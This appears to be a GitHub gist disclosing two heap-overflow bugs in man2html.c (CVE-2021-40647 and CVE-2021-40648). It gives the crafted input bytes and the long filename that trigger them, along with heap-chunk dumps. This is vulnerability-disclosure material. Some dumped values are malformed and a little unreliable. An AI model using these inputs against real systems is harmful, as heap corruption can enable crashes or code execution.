

[untaman](#) / [gist:cb58123fe89fc65e3984165db5d40933](#)

Last active 3 months ago

☆ Star

<> Code Revisions 3

CVE-2021-40647 and CVE-2021-40648

gistfile1.txt

```
1 Here is the writeup for CVE-2021-40647.
2
3 A specific string being read in from a file will overwrite the size parameter in the top chunk of the heap. This at least causes the program to crash.
4
5 The user craft a file containing the string containing the bytes "\x27" * 1 ; '\x53'*2 ; '\x42'*19984' ; '\xff'*16. This will cause a segmentation fault.
6
7 Top chunk | IS_MMAPED
8 Addr: 0x555555779680
9 prev_size: 0x4242424242424242 <== User Data
10 size: 0xfffffffffffffffff42 <== User Data
11 fd: 0x44443c3e412f3cfff
12 bk: 0xa3e
13 fd_nextsize: 0x00
14 bk_nextsize: 0x00
15
16 It can be seen the both the size and the prev size parameters are overwritten with user data. If the user craft a file containing the string "\x27" * 1 ; '\x53'*2 ; '\x42'*19984' ; '\xff'*16. This will cause a segmentation fault.
17
18 Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
19 Addr: 0x555555779680
20 prev_size: 0x4242424242424242 <== User Data
21 size: 0xfffffffffffffffffff <== User Data
22 fd: 0x3e44443c3e412f3c
23 bk: 0x0a
24 fd_nextsize: 0x00
25 bk_nextsize: 0x00
26
27 Both errors occur at line 3203 of 'man2html.c'.
28 -----
29
30 Here is the information on CVE-2021-40648.
31
32 A filename can be created to overwrite the previous size parameter of the next chunk and the fd, bk, fd_nextsize, bk_nextsize of the current chunk.
33
34 The user can create a file of name 'A'*132 and overwrite the previous size parameter of the next chunk and the fd, bk, fd_nextsize, bk_nextsize of the current chunk.
35
36 Before free at line 3191 of 'man2html.c':
37
38 Allocated chunk | PREV_INUSE
39 Addr: 0x555555764660
40 prev_size: 0x00
41 size: 0x91
42 fd: 0x4141414141414141 <== User Data
43 bk: 0x4141414141414141 <== User Data
44 fd_nextsize: 0x4141414141414141 <== User Data
45 bk_nextsize: 0x4141414141414141 <== User Data
46
47 Allocated chunk | PREV_INUSE
48 Addr: 0x5555557646f0
49 prev_size: 0x41414141 <== User Data
50 size: 0x231
51 fd: 0xfbad2488
52 bk: 0x55555576497b
53 fd_nextsize: 0x55555576497b
54 bk_nextsize: 0x555555764960
55
56 After free at line 3194 of 'man2html.c':
57
58 Allocated chunk | PREV_INUSE
59 Addr: 0x555555764660
60 prev_size: 0x00
61 size: 0x91
62 fd: 0x4141414141414141 <== User Data
63 bk: 0x4141414141414141 <== User Data
64 fd_nextsize: 0x4141414141414141 <== User Data
65 bk_nextsize: 0x4141414141414141 <== User Data
66
67 Free chunk (tcache) | PREV_INUSE
68 Addr: 0x5555557646f0
69 prev_size: 0x41414141 <== User Data
70 size: 0x231
71 fd: 0x00
72 bk: 0x555555764010
73 fd_nextsize: 0x00
```

